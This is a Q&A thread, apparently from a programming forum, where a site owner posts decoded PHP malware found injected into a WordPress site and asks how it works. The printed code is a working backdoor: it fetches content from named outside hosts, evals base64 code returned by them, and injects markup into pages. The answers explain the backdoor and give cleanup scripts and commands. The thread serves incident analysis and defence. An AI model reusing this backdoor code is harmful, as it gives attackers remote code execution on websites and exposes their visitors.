What exactly does this PHP exploit code (found on my app)?

Question

I've found this code in base 64 on all php files of one of my client's site (wordpress) and I'm trying to understand what it does.

I'm also trying to figure out if it was an application exploit or a direct FTP access that has past this code.

Everything starts with setup_globals_777() and ob_start('mrobh') setting the callback to the mrobh($content) function.

Then there are a call to gzdecodeit ($decode) where the hassle starts out.

It seems like it gets the page content and change it. Now I'm trying to detect the specific changes and understand all functions, including the second one gzdecodeit().

Can someone shed some light on it?

The calls

setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out

The callback:

function mrobh ($content)
{
    @Header('Content-Encoding: none');
    $decoded_content = gzdecodeit($content);
    if (preg_match('/\<\/body/si', $decoded_content)) {
        return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
                            $decoded_content);
    } else {
        return $decoded_content . gml_777();
    }
}

The setup function (understandable)

function setup_globals_777 ()
{
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
    $mz = "/tmp/";
    if (! is_dir($rz)) {
        @mkdir($rz);
        if (is_dir($rz)) {
            $mz = $rz;
        } else {
            $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                }
            } else {
                $mz = $rz;
            }
        }
    } else {
        $mz = $rz;
    }
    $bot = 0;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
        $bot = 1;
    if (stristr($ua, "bingbot") || stristr($ua, "google"))
        $bot = 1;
    $msie = 0;
    if (is_msie_777($ua))
        $msie = 1;
    $mac = 0;
    if (is_mac_777($ua))
        $mac = 1;
    if (($msie == 0) && ($mac == 0))
        $bot = 1;
    global $_SERVER;
    $_SERVER['s_p1'] = $mz;
    $_SERVER['s_b1'] = $bot;
    $_SERVER['s_t1'] = 1200;
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
     urlencode($_SERVER["PHP_SELF"]) . "&a=" .
     urlencode($_SERVER["HTTP_USER_AGENT"]);
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
    $_SERVER['s_script'] = "mm.php?d=1";
}

The first function called after the callback execution:

Here is where the magic happens. I can't see the calls for the other available functions and understand what this function is actually decoding, since the $decode var is the application output grabbed by the ob_start()

function gzdecodeit ($decode)
{
    $t = @ord(@substr($decode, 3, 1));
    $start = 10;
    $v = 0;
    if ($t & 4) {
        $str = @unpack('v', substr($decode, 10, 2));
        $str = $str[1];
        $start += 2 + $str;
    }
    if ($t & 8) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 16) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 2) {
        $start += 2;
    }
    $ret = @gzinflate(@substr($decode, $start));
    if ($ret === FALSE) {
        $ret = $decode;
    }
    return $ret;
}

All the available functions (after a base64_decode()):

<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (! function_exists('mrobh')) {
        function get_tds_777 ($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }
        function trycurl_777 ($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777 ($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777 ($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f = @fopen($url, 'r');
            if ($f) {
                while (! feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777 ($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $f = @fsockopen($host, 80, $errno, $errstr, 30);
            if (! $f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (! feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function trysocket_777 ($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $ip1 = @gethostbyname($host);
            $ip2 = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (! @socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function update_tds_file_777 ($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list ($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777 ()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir = $_SERVER['s_p1'];
            $tdsfile = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777 ($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777 ($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
             stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777 ()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (! is_dir($rz)) {
                        @mkdir($rz);
                        if (is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1'] = $mz;
            $_SERVER['s_b1'] = $bot;
            $_SERVER['s_t1'] = 1200;
            $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
            $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
             urlencode($_SERVER["PHP_SELF"]) . "&a=" .
             urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
            $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
            $_SERVER['s_script'] = "mm.php?d=1";
        }


        if (! function_exists('gml_777')) {
            function gml_777 ()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '';
                return $r_string_777;
            }
        }
        if (! function_exists('gzdecodeit')) {
            function gzdecodeit ($decode)
            {
                $t = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh ($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', 
                gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }

    }
}

Answer 1

For those searching for a non-Ruby fix, here's a PHP version of Dan Hill's code:

<?php
function fileExtension($filename) {
    $pathInfo = pathinfo($filename);
    return strtolower($pathInfo['extension']);
}

function fixFiles($path) {
    $path = str_replace('././', './', $path);
    $d = @opendir($path);

    if ($d) {
        while (($entry = readdir($d)) !== false) {
            $baseEntry = $entry;
            $entry = str_replace('././', './', $path . '/' . $entry);

            if ($baseEntry != '.' && $baseEntry != '..') {
                if (is_file($entry)) {
                    $fe = fileExtension($entry);

                    if ($fe == 'php') {
                        $contents = file_get_contents($entry);
                        $contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents);

                        $f = fopen($entry, 'w');
                        fputs($f, $contents);
                        fclose($f);

                        echo $entry . '<br>';
                        flush();
                    }
                }
                else if (is_dir($entry)) {
                    fixFiles($path . '/' . basename($entry));
                }
            }
        }

        closedir($d);
    }
}

fixFiles('.');
?>

Answer 2

Looks like it creates a hidden .log folder:

$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
    @mkdir($rz);
    if (is_dir($rz)) {
        $mz = $rz;
    } else {
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
        if (! is_dir($rz)) {
            @mkdir($rz);
            if (is_dir($rz)) {
                $mz = $rz;
            }
        } else {
            $mz = $rz;
        }
    }
} else {
    $mz = $rz;
}

Then seems to download code from http://www.lolypopholypop.com/g_load.php and http://sweepstakesandcontestsdo.com/, base64 decodes it, then executes it:

function update_tds_file_777 ($tdsfile)
    {
        $actual1 = $_SERVER['s_a1'];
        $actual2 = $_SERVER['s_a2'];
        $val = get_tds_777($actual1);
        if ($val == "")
            $val = get_tds_777($actual2);
        $f = @fopen($tdsfile, "w");
        if ($f) {
            @fwrite($f, $val);
            @fclose($f);
        }
        if (strstr($val, "|||CODE|||")) {
            list ($val, $code) = explode("|||CODE|||", $val);
            eval(base64_decode($code));
        }
        return $val;
    }

So without having to access your server again, they can execute different code.

Answer 3

Dan Hill wrote an article about getting base64 hacked for WordPress installations.

To quote the results of Dan's findings:

The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.

To get rid of the problem, Dan tried the following:

---

I did this in three stages. First, find any world-writable directories (tsk tsk):

find . -type d -perm -o=w

And make them not world writable:

find . -type d -perm -o=w -print -exec chmod 770 {} \;

Delete all the new files these guys created:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;

(In wordpress, the uploads folder shouldn’t contain any PHP)

Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:

#!/usr/bin/env ruby
Dir.glob('**/*.php').each do|f|
    puts f
    begin
        contents = File.read(f)
        contents =  contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")

        File.open(f, 'w') {|f| f.write(contents) }
    rescue
        puts "FILE ERROR"
    end
end

The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.

---

Hope Dan's findings help!